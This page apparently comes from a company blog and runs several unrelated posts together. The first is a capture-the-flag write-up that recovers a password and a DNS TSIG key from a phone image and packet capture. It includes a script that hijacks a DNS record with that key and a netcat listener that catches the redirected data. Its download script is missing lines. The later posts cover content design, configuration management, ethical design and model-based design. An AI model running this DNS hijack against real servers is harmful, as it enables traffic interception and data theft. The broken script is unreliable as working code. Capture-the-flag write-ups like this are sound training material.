100 150 100 150 0 0 1578 0 --:--:-- --:--:-- --:--:-- 1578
Hi Timi,

Please investigate this iPhone as soon as possible! There might be some sensitive information for KT.

Best regards,
Anttu Kuura
Your Boss.

Let’s download the iPhone image and start investigating.

Flag: …not so fast. Unfortunately downloading the file is not as straightforward as one would think. Whether intentional or not, the server is resetting the connection every few seconds. We get a few megabytes of the file at a time – at most. And since the file size is a couple of gigabytes we need to come up with another solution.

We write a quick and dirty python script to download the file in chunks and then reassemble the file once all chunks are downloaded:


└─$ cat download.py 
import os
import sys

# configs
desturl = "https://forensics.uxin.fi/KT_Forensics_iPhone_image.7z"
outputfile = "KT_Forensics_iPhone_image.7z"

# size of a chunk
psize = 512000

# total size of the file
fsize = 3167184323

# calculations...
total_parts = (fsize // psize) + 1
last_part_size = fsize % psize

# print basic info
print(f"[+] Total parts:\t{total_parts - 1}")
print(f"[+] Part size:\t\t{psize}")
print(f"[+] Total size:\t\t{psize * (total_parts - 1) + last_part_size}")

# loop until everything is downloaded
while i < total_parts:

    pbeg = i*psize

    # calculate start & end offsets
    if i < total_parts-1:
        pend = pbeg + psize - 1
        pend = pbeg + last_part_size

    print(f"Downloading part {i+1}/{total_parts + 1} ({pbeg}..{pend})")

    # download chunk
    cmd = f'sudo docker run -v /home/kali/uxin:/tmp --rm ymuski/curl-http3 curl -sS --max-time 5 --http3 -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" --range {pbeg}-{pend} {desturl} --output /tmp/{outputfile}_part{i}'

    retval = os.system(cmd)

    # check for errors and retry if needed
    if retval != 0:
        print(f"[-] Error detected, retrying part {i}...")

    # if all is well, proceed to next chunk

print("[+] Download complete!")

print("[+] Reonstructing file...")

# assemble the file
for i in range(0, total_parts):
    os.system(f"cat {outputfile}_part{i} >> {outputfile}")

Now we can finally download the file.

Flag: KT_Forensics_iPhone_image.7z (file)

Part 4: The iPhone

Unzip the image and unpack the dar file inside.

└─$ 7z t KT_Forensics_iPhone_image.7z

└─$ cd UFED\ Apple\ iPhone\ 6s\ \(A1688\)\ 2020_10_12\ \(001\)

└─$ dar -x AdvancedLogical\ Full\ File\ System\ 01/FullFileSystem.1.dar

Searching through the image a password protected zip-file is found:

└─# ls Attachments/25/2

And then an email message containing the encryption key:

└─# cat 5944AEEC-9205-42B5-A652-B5EF4D9553C1.1.2.emlxpart
<div dir=3D"ltr"><br><div>Hi Seppo!</div><div><br></div><div>I was finally =
able to deploy the production site beacon to submit metrics to our servers.=
As you might be aware, the early 90's server hardware we're using =
is struggling with keeping up with the load. I was able to come up with a g=
enius=C2=A0client side load balancing solution=C2=A0to mitigate this issue.=
It's probably one of the best solutions I have come up with this far!<=
/div><div><br></div><div>As you know, the data we're sending out is hig=
hly sensitive because of the production plant operations, so in the example=
I have attached to this email just includes testing data. I believe the so=
lution is bullet proof as we really don't want the operations to be exp=
osed to the public. However I'd like you to verify=C2=A0it (see the att=
achment).</div><div><br></div><div>Password for the archive is hunteR2</div=
><div><br></div><div><br></div><div>--</div><div>Mauno Rajam=C3=A4ki</div><=

We decrypt & unzip, and find a packet capture file.

Flag: submission_example.pcap (file)

Part 5: The DNS

Right away an interesting TCP-stream is found from the pcap:

__ __ __
/ //_/__ __ ___ _____ ___ / /____
/ ,< / _ \/ // / |/ / _ \(_-</ __/ _ \
/ /____ / /__ _______ __ _
/ __/ -_) / -_) __/ _ \/ ' \

Key distribution service
(c) Kouvosto Telecom 1991


Welcome Mauno Rajam{ki

CREATE new key
LIST existing keys


NAME: Kupdatekey.+165+07388
FORMAT: v1.3
KEY: 512 3 165 GZ+xb9VxTX5WrwFM7L8D4YR1NC5G3WJNxOalrApwrxKA2uTCTpzRPEDX fu8aRubUJKOMb5M3iOsTQh0mgOyV1A==
CREATED: 20201007101121

Key distribution service shutdown sequence started... Shutting down in 5 seconds

The TCP stream contains some kind of online terminal transaction, which in turn contains a DNS key named “updatekey”.  The key can most likely be used to update DNS records. Now we only need to find a corresponding DNS server

Inspecting further an IP of a server is found from the pcap file, containing a POST request to /submit -endpoint and a domain crunch.kt.3g.re:

POST /submit/ HTTP/1.1
Host: crunch.kt.3g.re
Accept: */*
Content-Type: application/json
User-Agent: Kouvosto Telecom sensitive data submission agent (military grade)
Content-Length: 37

{"data": "test", "pystyy": "vet...."}HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 08 Oct 2020 06:52:35 GMT
Content-Type: application/ktson
Transfer-Encoding: chunked
Connection: keep-alive

{"result": "success"}

Let’s enumerate:

└─$ nmap -p- -sC -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-20 15:18 EDT
Nmap scan report for 94-237-108-204.nl-ams1.upcloud.host (
Host is up (0.099s latency).
Not shown: 65531 filtered tcp ports (no-response)
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 6d:bf:ac:68:d0:ee:5e:a3:aa:36:27:ee:13:21:1f:cc (RSA)
| 256 3d:8a:c3:56:55:37:ee:54:a9:2c:7e:91:a0:32:72:cc (ECDSA)
|_ 256 bb:2c:26:9a:6d:0b:24:76:b1:75:5c:90:51:7a:6d:07 (ED25519)
53/tcp open domain (unknown banner: Kouvosto Telecom DNS server v0.01 beta - in scope)
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
|_ 21Kouvosto Telecom DNS server v0.01 beta - in scope
| dns-nsid:
|_ bind.version: Kouvosto Telecom DNS server v0.01 beta - in scope
80/tcp open http nginx 1.14.2
|_http-title: 503 Service Temporarily Unavailable
|_http-server-header: nginx/1.14.2
8089/tcp open ssl/http Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-10-12T22:26:42
|_Not valid after: 2023-10-12T22:26:42
|_http-server-header: Splunkd
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 385.50 seconds

On port 53 there is a DNS server with a banner “Kouvosto Telecom DNS server v0.01 beta – in scope”. Let’s check the DNS record for the domain we saw earlier in pcap:

└─$ dig @ crunch.kt.3g.re
;; communications error to timed out

; <<>> DiG 9.18.7-1-Debian <<>> @ crunch.kt.3g.re
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5409
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
;; WARNING: recursion requested but not available

; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 87304f52daafc03886cd4f5c637c87969089e400233d6138 (good)
;crunch.kt.3g.re. IN A

crunch.kt.3g.re. 2 IN A

3g.re. 1 IN NS go-ham.kt.3g.re.

go-ham.kt.3g.re. 1 IN A

;; Query time: 40 msec
;; WHEN: Tue Nov 22 03:25:57 EST 2022
;; MSG SIZE rcvd: 125

It seems that the place where the submission should be done is pointing to, which of course is not reachable by us.

We can now try to change the record with the DNS key we found from pcap. Let’s write a quick script and try to change the domain to point to our own ip, and then set up a listener to hopefully catch the next submission.


└─$ cat dns.py

import sys
import os
import dns.update
import dns.query
import dns.tsigkeyring

from dns.tsig import HMAC_SHA512

keyring = dns.tsigkeyring.from_text({"updatekey": "GZ+xb9VxTX5WrwFM7L8D4YR1NC5G3WJNxOalrApwrxKA2uTCTpzRPEDXfu8aRubUJKOMb5M3iOsTQh0mgOyV1A=="})

update = dns.update.Update("3g.re.", keyring=keyring, keyalgorithm=HMAC_SHA512)
update.add("crunch.kt", 1, "A", "")

response = dns.query.tcp(update, "", timeout=10)

Then set up the listener:

└─$ nc -lvnp 80                  
listening on [any] 80 ...

And then run the script:

└─$ ./dns.py.

After waiting a couple of minutes we do catch the submission request with the listener:

└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [] from (UNKNOWN) [] 56718
Host: crunch.kt.3g.re
User-Agent: Kouvosto Telecom sensitive data submission agent (military grade)
Transfer-Encoding: chunked
Content-Type: application/ktson
Accept-Encoding: gzip

"beacon_name": "chipper",
"beacon_ip_address": "",
"beacon_model": "KVR-L200",
"beacon_firmware": "0.7.1b.83340",
"beacon_serial": "80860600021",
"beacon_location": "Saboten Biomaterial Factory #7",
"timestamp": 2718658601,
"datatype": "KTBBD",
"version": "0.7a"
"events": [
"rssi": "-42",
"data": "aHR0cHM6Ly9ob2x2aS5jb20vc2hvcC9EaXNvYmV5L3Byb2R1Y3QvNTgyODkxZDU3Y...4NTMv",
"srData": "I29pc2pvaGFja2VyYmFkZ2U=",
"timestamp": 2718658599,
"device_ktid": "5468616e-6b20-796f-7520-666f72207472-79696e672068-617264657221"
"rssi": "-36",
"data": "SXQncyBkYW5nZXJvdXMgdG8gZ28gYWxvbmUhIEhlcmUsIHRha2UgdGhpczo=",
"timestamp": 2718658594,
"device_ktid": "5468616e-6b20-796f-7520-666f72207472-79696e672068-617264657221"


Decode the data part to get the flag and your hacker ticket:

└─$ echo "aHR0cHM6Ly9ob2x2aS5jb20vc2hvcC9EaXNvYmV5L3Byb2R1Y3QvNTgyODkxZDU3Y...4NTMv" | base64 -d

Flag: url to buy the hacker ticket 🙂

We are looking for Finnish-speaking technical cyber security specialists to join us!
Read more

Our strength is the diverse team of experts in multiple fields for whom we want to provide the best opportunities to develop and thrive, both at work and beyond.

Are you interested in working at Gofore? Check out open positions.

Akseli Piilola

Information security professional & ethical hacker. Leader of Gofore cyber security team.

Do you know a perfect match? Sharing is caring

Imagine you are in a rush. You need to file your tax return by tomorrow and now is the only time you have to navigate the situation. You go on the tax administration’s website and look for the place where you can deal with the matter. You sign in, but then you are stumped. The words the tax administration use are nothing like you’ve seen before. How does it feel? Do you think you can finish your task by tomorrow?

What about this: Imagine you are a first-time parent, and your 6-month-old has a fever. You want to know if you should go to urgent care or book an appointment with a nurse for the next day. It is 8 o’clock in the evening. On the local health centre’s website, you only find phone numbers and chat options that are already closed for the day. There are links to five different online services, but you are worried and don’t want to try them all. What do you do?

Both situations could have been made a lot easier by using content design during the website or service development process. Content can make or break the user experience. If the content is not well thought out, user-centric and easy to understand, all other design work for the service goes down the drain with it.

Content designers make sure that content is genuinely user-centric

Content Design in a nutshell is user-centric content planning and creation based on user needs during the development of a new service. Content Designers do not assume they know what the users want and need but actually find out. They have the courage to get rid of walls of text and unnecessary steps in a process. Their job is to help the user get things done in a timely manner, as easily as possible.

Content design is the missing piece in the puzzle of digital service creation. Often service designers have gathered high quality customer insights and UX designers have turned them into prototypes, but good quality content is missing. In the worst case scenario, the prototypes have no real content at all, but are filled with lorem ipsum or some other nonsense. Content Designers have the skills needed to turn customer insight into compelling texts, infographics, and other means to convey information in an app or website. Content Designers bring valuable skills early in the project during the concept phase because they can help choose the right method to convey the information – it’s not always an app!

If the content has been designed correctly, the texts are user-centric, accessible, clear, and concise. In a best-case scenario, they also follow the brand’s tone of voice and thereby strengthen the brand and make it more approachable. Well-designed content also helps tackle failure demand and increase customer loyalty.

If you want to learn more about content design and how it could help your organisation, don’t hesitate to contact us!

Noora Penttinen

Noora Penttinen works at Gofore as a service designer. She loves delving into new topics and really understanding the user and their everyday life. Noora has worked in service design both in-house and as a consultant, in the public and private sectors. In her previous life she was a journalist and is now eager to combine both her passions in developing content design.

Linkedin profile

Do you know a perfect match? Sharing is caring

The amount of software in devices and equipment has grown significantly in the last decade. Features implemented through software enable personalisation of equipment to the customer’s individual needs and the addition of features that are difficult or impossible to achieve otherwise. The increasing number of software features, however, comes with its own set of challenges for production.

To put it simply, one factor almost always affects several others in devices consisting of both mechanical features and software. Take, for example, a passenger car. An electronic handbrake is chosen for the model. This one feature immediately affects ten parameters that need to be put together in production, and if there are several features like this, there will be even more parameters to link.

Managing these combinations is at the moment, largely manual work – it is slow, prone to mistakes, and takes up many work hours; and as the number of combinations, so has the work needed to manage them.

Crouching risk, hidden problem

When smart features were added to mechanical devices earlier, there was only a modest amount of software, to begin with, and the number of parameters linked to them was feasible for them to be managed at the production stage.

But as the amount of software in use has grown, the number of combinations needed to be done manually has exponentially grown.

Parameter management might, for now, have remained under control, but in many manufacturing industry companies, it has reached a critical point. The situation might not have yet spun fully out of control, but it’s getting risky. So far, the only thing stopping the situation from hurtling out of control are the skills and experience of the people in charge of production.

What does the problem consist of?

Device production has changed as software use has increased. Where earlier the device itself and its mechanical features took centre stage, and then the software features would be added on to differentiate the product, now software is an integral part of any complicated machine.

Again, a passenger car is a good example of this. Before, the car might have been chosen primarily for its mechanical features, and software brought luxury gimmicks to the vehicle; but now most of the features a buyer chooses are either completely software-integrated or software-assisted at the very least.

The amount of software just keeps on increasing and in terms of production, this means a monumental amount of new parameters and combinations to put into place.

An illustrative metaphor might be making gingerbread. The software variants and parameters are the dough that you’re going to make into biscuits with your production. But before you can put them in the oven you need to cut them into the right shape. If the parameters are put into place manually, it is as if you are trying to make the biscuit shapes without a cutter.

This manual work is slow and prone to mistakes, and directly affects the quality of production. With larger orders, it can also result in scalability problems.

Configuration management is the solution

In order to automate the parameter combinations, connections need to be created between the systems involved. These can include for example

  • Product information management
  • Order management
  • Production management

At the moment, the work is more or less divided between these systems so that in the product information management system you find all the software and parameter variations; in the order management you find the features that the customer has chosen to have in the device; while the production management combines these into their final form.

The processes between these systems can be run with configuration management, which is an important part of the wider concept of product lifecycle management (PLM). Configuration management is in effect the gingerbread cutter (referring back to the gingerbread analogy earlier).

With configuration management, the desired features for the device can be retrieved from order management, and the parameters linked to those features can be retrieved from product information management, at which point they can be sent to production in the form of work orders.

What’s the point of configuration and PLM?

When the amount of manual work needed is less, it frees up more time for production management to ensure that quality steadily improves, and the skills of those who were previously managing structures of production can be directed to developing production; thus making it easier for production to grow.

Another significant benefit is that the devices produced are traceable. When parameters are connected by hand, there is rarely any clear documentation of this. With automation, each device comes with an electronic “birth certificate” to which any software updates are added later, so it can be used for troubleshooting, guarantee issues, and post-marketing.

Thirdly, the system generates a digital or virtual copy of the physical device produced. The copy can also be created before actual production, and this then opens up all new kinds of possibilities for thoroughly testing the device before manufacture.

Nothing new under the sun?

At the end of the day, we all sometimes feel that we’ve heard it all before. Things have been done a certain way just because they always have been done that way, and for good reason. Then circumstances change, and the way things are done no longer seems to work. These are the kinds of situations that force businesses to have to change their ways.

The silver lining in this hidden problem is, that it also opens up new business opportunities. Every manufacturing company has to take some kind of a stance in this regard, and while you are thinking about what yours will be, think about how you will turn this challenge into an opportunity too.

In addition to configuration management, we help e.g. in service business development, cyber security, and quality assurance.


Petri Mähönen

Petri works at Gofore in the business operations of the Industrial and Energy domains and in sales development. He has a long background in various roles in these industries. Long customer relationships are born from successes and trust. Understanding the customer's business and finding the right solutions has always been important to him.

Do you know a perfect match? Sharing is caring

What do you mean when you say you are pioneering an ethical digital world? Why are you talking so much about ethical digitalisation at Gofore, what does it mean in practice? Show me some concrete actions, how can one be ethical at project work?

These are the questions we have heard both externally and internally. Talking about ethics in the IT industry can sound difficult and something that is not for me, as I don’t know the ethical theories by heart.

But we can tell you, it is not that difficult and you can start with small steps.

Our Ethical Design booklet was launched at the Nordic Business Forum 2022. When listening to the NBF keynote speakers such as Yval Noah Harari and Martin Lindström, we realised that they are talking about the same thing. The timing for ethical design is definitely right!

We started to frame ethical design framework already a while ago. Here’s some of our previous posts related to ethical design, value-based design, wellbeing of users and inclusive design:

When we started to talk about this new layer of human-centric design, what we call ethical design, our designers started asking for tools, practices and examples. We created Ethical Design booklet to answer to those needs.

What does ethical design mean and how was this booklet created?

We approached the topic by reviewing a range of design principles related to ethics, organised ethical design workshops with our design community, studied the pressing social issues of today’s digitalisation, and gathered our project experiences.

Ethical design is a value-based approach that invites us to be reflective and more aware of our conceptions of what is good. There needs to be multi-disciplinary dialogue in design processes and the ethical perspective should be present in all stages of our work. We must include also the most vulnerable user groups and their needs in the design process and not only concentrate on the goals of primary user groups. We should take a wider perspective. We want to raise awareness of ethical questions, so design stakeholders can make informed decisions.

What does the Ethical Design booklet include?

  • First: Background, theory and food for thought. Where are societies going and where is digitalization taking us? How can people cope with the increasing amount of digital services they get involved everyday, whether they want it or not.
  • In the middle: Nine ethical design lenses to help you to reflect in design work, at workshops, in team discussions or inside your own head. Each of these lenses can be used to inspire thinking about ethics from various perspectives and to make choices that promote good life.
  • Last but not least: Tools for ethical design. The toolbox includes e.g. Reversed stakeholder map where those who can potentially be left out are now brought to the center of attention. We also present the Ethical design canvas, where you can select relevant ethical design lenses and ponder the potential risks and opportunities for vulnerable groups on individual and societal level. At the end, one useful tool for all kinds of projects is the Ethics timeline retro tool, where you can look back at your project and reflect with the help of ethics themed questions.

We challenge all design stakeholders to join the discussion of what ‘good’ means in ethical digitalisation and what kind of society we want to design. Remember, you can start small but grow big!

On our next Ethical design blog, we will present some of our design tools in more detail.


Suvi Leander

Suvi works as a Senior Service Designer and User Researcher at Gofore, currently developing tools for ethical design framework. She is also one of the writers of Ethical design booklet. Suvi has over 15 years of experience in service design in both the public and private sectors, from industry to product business. International user research, creating inclusive service concepts, sustainability, and ethical design is close to Suvi’s heart. Sources of inspiration come from music, books, food & wine and exploring new cultures.

Linkedin profile

Do you know a perfect match? Sharing is caring

My suggestion is that we just stop talking about “user-centered design” for good, and resume to only use the term ”design”, when talking about the process of designing services and systems. You might be rolling your eyes hard now, so let me explain myself further.

What is user-centered design?

The term ”user-centered design” and its definition was born in the information technology industry in 1986, when Norman and Draper released their book called ”User-Centered System Design: New Perspectives on Human-Computer Interaction”. But of course, user-centric ideology had been alive even before that, especially in the industrial design world, where for example Henry Dreyfuss (1904-1972) paved the way with his classic tabletop rotary telephone for Western Electric, and his upright vacuum cleaner for Hoover.

By its heart, or how we have defined it in the later years, user-centered design means the iterative design process, which has basically the same steps that many other iterative development frameworks nowadays – for example the double diamond used in service design. In the double diamond’s first side we take a deep dive into the users and the use context, do enough of user research to discover the true user needs. Then we form some type of a solution to this design challenge, prototype and test it and if needed, go back to the drawing board. For Henry Dreyfuss, “user-centered design” meant designing products for the people to enjoy using. He talked a lot about the connection point between user and the product – which we could nowadays reference as “the user interface” in IT.

Designer vs. user

The joy of user-centered design was continued, when Norman later released his book called ”The Design of Everyday Things” (1988). In his mind one of the key things in designer’s role is to make systems, products, or services intuitive and interactive enough. He firmly stated that in his mind user-driven errors don’t even exist, but only bad design. Even though users tend to always blame themselves when any problems arise, which is also a fascinating phenomenon.

But I am very much on board with Norman, his business partner Nielsen – who you also may know very well from the usability heuristics studies – and all the other great designers before me. In the end, everything we design is for someone to use, the user. And what is the weakest link in all of this? I’m confident enough to say that it’s not the technology, but the user and the essence and constraints of human cognition.

Human cognition is the key

When designing anything from software to services and tools, your user will most likely always be a human with their unique brains. And as humans we have so much processing going on in our minds, starting with our thoughts, memories, and senses. And this all-mental action is called cognition. It refers to all processes that are needed to learn and use current knowledge and how we use our attention and perceive the world around us. Cognitive science as a research field has studied for decades the incredible power of human processing, and even tried to mimic that in machines, trying to create artificial intelligence. But that has proven to be tricky, as we know at this point.

Nielsen, the usability king with his usability heuristics and groundbreaking UX research, created a phenomenon called “Jakob’s law” – named after himself, of course. Jakob’s law, “users prefer your site to work the same way as all the other sites they already know”, refers to the basics of cognitive science – that we create mental models of our world, based on our previous experiences. How things have worked before, and how we think they should work now. This of course makes it easier to use systems and products when they feel familiar. But these mental models are not based on facts, but our understanding of the truth.

And why this and all of what cognitive science represents is so powerful in my mind, is the conclusion that there is no “one user” to refer to in design, but all the users and their unique way of understanding the world around them. How you see the interface for a system or a service, is most definitely not how others will see it, and that’s why we need to understand the people we are designing for.

And this makes design work so much harder, but also fulfilling.

There is no design without the user

So with this short deep dive into user experience and human cognition, I hope I got my point across. If user-centered design is a process, where we involve the user from the beginning until the very end of the process, what is design then? If we take the user-centered -prefix away, do we suddenly forget who we are designing for?

Yes, I do love exaggerations. But to me, a young millennial grown up with technology, it seems just absurd that we have ever even tried to design a system without involving the user. And yet somehow, we get news about patient care systems driving healthcare into crisis, and students losing sleep and graduation dates over a non-usable education information system.

We at Gofore are proud to say, that the principle we thrive for, is user centric. We are never designing just something our customer wants, but what is actually needed. Only from understanding the use context and the user, we can create impactful design. If that’s something you also feel passionate about, join our crew!

Rosa Vanninen

Rosa works at Gofore in internal development as a product manager and UX designer. As a colleague, Rosa is a warm-hearted person who is always ready for new challenges. In particular, Rosa is interested in customer-oriented system development through service design, as well as building usability and user experience through content and user interface design. Rosa's dream is to someday continue usability research at the doctoral level.

Linkedin profile

Do you know a perfect match? Sharing is caring

Model-Based Design challenges old software development methods. The more demanding the development task, the more benefits model-based design brings as it enables simulating different situations and testing the software early on. In Model-Based Design, software creation is brought above the abstraction level so it’s closer to your ideas than simply producing code.

What is Model-Based Design? 

 In other words:

In traditional software development, the division of labour is usually so that an architect or main designer is in charge of the software application being developed, while separate developers are working on particular functions – sometimes not even aware of what the whole application is for. In Model-Based Design, this division is ditched, and developers can be designing at the same time. 

  • In Model-Based Design, the developer models functions as bigger entities than code 
  • Model-Based Design tools often generate code automatically based on a visual model 
  • The architect or software designer can test the entity along the way before the completion 

A developer using Model-Based Design can take a larger responsibility for the overall functionality and find potential pitfalls through simulation right from the start of the project. 

What is the benefit of Model-Based Design? 

The biggest benefits of Model-Based Design are that it ensures quality while allowing developers to work faster. Go-to-market is achieved more easily when the software design produces code that can be tested straight away. 

Model-based design tools ensure automatic validation of the system, traceability of the requirements, and versatile testing – enabling product development to be verified at the earliest possible stage. 

In terms of benefits, the most important element of Model-Based Design is that it allows the developer to move ideas from the drawing board into practice and test them out straight away. 

Possibility 1: Testing an idea out with Model-Based Design 

In Model-Based Design, the system or application can often be simulated with visual elements, and these can be used to generate code automatically if and when needed. A significant advantage of this, especially at the start of product development, is that creative ideas can be tested out quickly. 

So now we know what needs to be done and the tools that will be used, but we still don’t know HOW this will be done. 

Model-Based Design allows the developer to test ideas for achieving the desired outcome until the best solution is found. In a traditional development model, the process would rely on the ability of the application or system designer to come up with a theoretically viable solution, and the testing would only take place much later. 

Possibility 2: Simulation of practical situations and Model-Based Testing 

Because Model-Based Design is based on creating a functioning virtual environment, it enables the simulation and testing of different scenarios at a much earlier stage than the traditional model. 

For example, in the control unit of a mobile machine, the chances of testing in the actual machine are very limited. Testing like this is often very slow, and if mistakes in the control unit system are only found at this stage it can set timetables back significantly. 

Because the virtual device is always available to the developer in Model-Based Design, functions can be tested out as a part of the design process. If faults are found, it is sufficiently early on in the process to alter the design without upsetting the timetable. 

Possibility 3: When practical testing is not an option 

The advantages of Model-Based Design really become apparent in cases where testing the functions of a system or piece of software in the field is simply neither possible nor safe to carry out. 

  • Factory production lines, for example, cannot be tested for every possible situation that might arise using existing lines
  • Systems responsible for the safety of human lives, for obvious reasons, cannot have all their features tested out in practice either

In Model-Based Testing it is possible to simulate these situations accurately and safely. 

Dark lining to a silver cloud 

The tools used in Model-Based Design are not cheap, and this is why its benefits are often approached with some skepticism by those involved with software development. It is also true that model-based design might not be the best way forward for every single person, in every situation.  

If the system has very specific requirements, and there are no special challenges that would be best tackled through simulation, then there are no significant benefits to be gained by investing in Model-Based Design tools. 

Model-Based Design will never completely replace manual coding work, and nor is it designed to do so – integrating completed software into the final environment needs to be done manually. 

The benefits are most apparent when ideas need to be implemented quickly, so simulation and testing will be important. 

Model-Based Design means higher quality product development 

In Model-Based Design, coding and design are simultaneous, so functions of the system are tested right from the start. Creative designs can therefore be tested out in a variety of simulated situations before the functions of the actual system can be actually decided on. 

And because a separate testing phase is not necessary, assumptions made at the design stage do not need to apply to all cases. When software is tested from the beginning, design-related problems can be spotted swiftly too. 

At the later stages of product development, Model-Based Simulations can also be used to test out functions in more precise virtual scenarios. This often helps to get to the end result earlier than when testing is only done on the final device. 

In addition to Model Based Design, we help e.g. in service business development, cyber security, and configuration management.


Ville Ahola

Ville studied hydraulics and engineering design at Tampere University. Ville has extensive experience of simulation and software development for demanding devices and off-road machines.

Do you know a perfect match? Sharing is caring